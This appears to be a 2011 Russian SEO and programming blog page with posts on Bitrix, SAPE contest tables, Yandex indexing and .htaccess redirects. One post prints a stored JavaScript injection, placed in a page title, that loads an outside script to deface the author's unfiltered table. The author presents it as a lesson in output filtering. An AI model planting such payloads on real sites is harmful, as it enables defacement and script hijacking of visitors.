.

#1 RX pharmacy affiliate program!
28 апреля 2011

Мой первый скрипт с Bitrix API — очистка форума

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 1.00 из 5)

Перекидываю форум с PHPBB на Битрикс — благо конверторы писать с нуля не придётся — спасибо Долганину Антону за его статью Переезжаем с phpBB на форум Битрикс. Экспериментирую на тестовом форуме, поэтому перед наполнением, его нужно было почистить.
Собственно реализация этой небольшой ТЗ, созданная мной буквально за 5 минут (а битрикс то весьма удобен!):

<?php
set_time_limit(0);
ignore_user_abort();
 
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
 
if (CModule::IncludeModule("forum")) {
	// clear topics
	$db_res = CForumTopic::GetList(array(), array());
	while ($ar_res = $db_res->Fetch()) {
		echo 'deleted -'.$ar_res["TITLE"].'<br>';
		CForumTopic::Delete($ar_res["ID"]);
	}
	// clear forums
	$db_Forum = CForumNew::GetList(array(), array());
	while ($ar_Forum = $db_Forum->Fetch()) {
		CForumNew::Delete($ar_Forum["ID"]);
		echo 'deleted - '.$ar_Forum["NAME"].'<br>';
	}
 
       //clear users (кроме меня)
       $rsUser = CUser::GetList($by="ID", $order="DESC", array());
       while ($arU = $rsUser->GetNext()) {
	echo $arU["NAME"]."<br>";
	if($arU["ID"]>1) {
		CUser::Delete($arU["ID"]);
		echo "deleted<br>";
	} else {
		echo "stay<br>";
	}
}
 
}
?>

Post to Twitter ReTweet

рубрики: Программирование | Комментарии (2)

25 апреля 2011

Модификация таблицы конкурса SAPE

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (2 оценок, среднее: 3.00 из 5)

Вчера на мыло Алекс Терехов отписал письмецо, с просьбой помочь в отсеве доменов конкурсантов с историей — что конечно-же потешило моё самолюбие :)

Кстати — сегодня последний день регистрации !!! Желающие поучаствовать — поторопитесь.

Собственно, я раньше и сам хотел это дело реализовать, но всё руки не доходили, да и не было уверенности, что мою самодеятельность хоть кто-то смотрит.
Итак — все домены были прочеканы на наличие истории на рег.ру, а так же наличие снимков в веб-архиве.

Результат смотрим всё там-же http://seo.gtalex.ru/sape/
Читать полностью »

Post to Twitter ReTweet

рубрики: Полезности, Программирование | Комментарии (6)

24 апреля 2011

Парсинг и JS Инъекции

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

На днях над моей табличкой конкурсантов, некоторые участники конкурса слегка поглумились — воткнули вместо таблицы с информацией обнаженную девушку — правильно сделали, раз уж парсишь — при выводе не забывай фильтровать !
Кому интересно и кто не в курсе — раскрою подробности процедуры:
Взглянув на табличку видно, что в ней выводится содержимое, сграбленного тега title — ну и некоторые ребята, решили проверить — фильтруется ли вывод, али нет :)
На denejno.ru в тег был вставлен JS код с подключением стороннего js файла.
А конкретно такой код

<title>Денежно.Ру
<script>
var scid=document.createElement('SCRIPT'); 
scid.type='text/javascript'; 
scid.charset='windows-1251';  
scid.src='http:/'+'/denejno.ru/f.js?rnd='+Math.random(); 
document.body.appendChild(scid);
</script>
<noscript>
</title>
</noscript>
</title>

На искомой странице скрипт не выполнялся, т.к. был внутри тега title. А в моей табличке — как раз пошел на выполнение :)
JS код подключаемого файла:

document.body.innerHTML='
<div align="center">
<img src="http://adamast.ru/images/all/erotic/adamast_ru_pic1261418007.jpg" alt="" width="900" border="0">
</div>';

Спасибо хоть девчёнку симпотную поставили, а не член в пол-экрана — хорошая наука на будущее. А то как обычно — быстро, на коленке и в эфир. Теперь буду повнимательнее и не так ленив на счёт фильтрации, чего и всем желаю.

Post to Twitter ReTweet

рубрики: Полезности, Программирование | Комментарии (0)

22 апреля 2011

Мой конкурсный сайт

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

Как оказалось с моей загрузкой — совершенно некогда развивать супер новостной проект в рамках конкурса SAPE.
Поэтому, для себя я нашел такой компромисс — АВТО-новости в WAP формате — для людей желающих почитать автомобильные новости не с компьютера — в дороге, метро, на толчке :)
Дизайн для WAP версии был выбран в минималистическом стиле, на основе wap версии bash.org.ru
В результате анализа индексации вышеупомянутого цитатника, а конкретнее — количества страниц в Яше с неуникальным, сграбленным текстом — по контенту для автоновостей я тоже решил не заморачиваться — грабить и публиковать анонс с источником. Так на меня ИМХО не обидятся.

P.S.
Не очень внимательно я читал правила :) Походу сайтик мой выбросят:

В конце данного тура сайты низкого качества (сателлиты, сплоги, автонаполняемые сайты и т.д.) будут исключены из конкурса и не допущены к регистрации в партнерской программе

Мой то ещё как автонаполняемый ! Я всё таки считаю его СДЛ :)
Хотя признаюсь — цель создания сайта — не столько СДЛ для конкурса (всё равно времени плотно им заняться нет), а проба на индексацию Яндексом — если скушает — будет над чем подумать ;)

Post to Twitter ReTweet

рубрики: SEO | Комментарии (10)

20 апреля 2011

Яндекс апдейт поисковой базы 20.04.2011

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 1.00 из 5)

В выдаче по некоторым, интересующим меня запросам, полный бардак !
Старые СДЛ морды, релевантные поисковому кейворду выкидывает — заменяет какими то левыми, абсолютно нерелевантными внутренними пагами 3−4 уровня вложенности, и конечно же ранжирует их соответственно — либо сильно вниз, либо вообще долой из выдачи !
Жесть !

Post to Twitter ReTweet

рубрики: SEO | Комментарии (8)

20 апреля 2011

Internal SEO — убираем дубли с/без www

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 5.00 из 5)

При наведении порядка на площадке, которую недавно поручили оптимизировать для Яши, совершил небольшую оплошность — когда занялся проектом — набрал ссылку без www — глянул индексацию — всё ок — более 1.5к ссылок, посмотрел настройки проекта в SAPE (проектом до меня уже занимался оптимизатор) — там ссылки были тоже без www, в настройках CMS без www, в sitemap.xml без www — собственно, основываясь на полученных данных дальнейшие все мои действия были ориентированы на ссылку без префикса www.

Сегодня, совершенно случайно (скармливал страничку результатов фильтрации напрямую Яше), обнаружил, что Яндекс оказывается считает сайт без www -  неглавным зеркалом основного сайта ! (позор на мои седины). Конечно, по правильному, такие вещи ещё на этапе создания сайта должны решаться. Но и оптимизаторы обязаны сразу проверять.

Зашел в SAPE и все ссылочки поправил на www.*  (уж и не знаю как на это Яша посмотрит — надеюсь не накажет).

Так же поправил .htaccess — поставил 301й редирект со страниц без www на странички с www — для исключения дублей.

кому нужно — делается это так:

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{HTTP_HOST} ^domain.ru$ [NC]
  RewriteRule ^(.*)$ http://www.domain.ru/$1 [R=301,L]
</IfModule>

Конечно же поправил настройки в самой CMS, перегенерировал sitemap.xml и залил с панелки инструментов вебмастера Яши и Гугла соответственно в поисковики.

Ещё на всякий случай в robots.txt прописал Host: www.sitedomain.ru

Post to Twitter ReTweet

рубрики: SEO | Комментарии (6)

18 апреля 2011

Модификация таблички конкурсантов SAPE

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (3 оценок, среднее: 5.00 из 5)

Модифицированная табличка конкурсантов SAPE

Добавил ТИЦ, количество проиндексированных страниц (определенных моим скриптом через Яндекс XML,  а так же ссылочку на ручной просмотр этого параметра — т.к. в некоторых позициях не сходится), ссылку на просмотр истории рег.ру (только для «наших») и в веб-архиве.

Например доменчик minskdigital.com с ТИЦ 10 «засветился» 17 мая 2010 года в веб-архиве, второй домен telnet.su с ТИЦ 30  «засветился» по истории...

Как сделал — сразу обратил внимание на доменчик belarus-news.eu (новая доменная зона стран Евросоюза — странность в том, что по хуизу не видно даты регистрации. Если всё окей — то они лидеры по количеству проиндексированных страниц, если продолжать в том же духе и нагнать ТИЦ — претенденты на победу (контент тоже вроде без повторов — глянул руками по строгому вхождению пару строчек).

PR думаю смысла добавлять нет, на счёт Алексы — думаю.

Post to Twitter ReTweet

рубрики: SEO, Полезности | Комментарии (3)

  • Ссылочки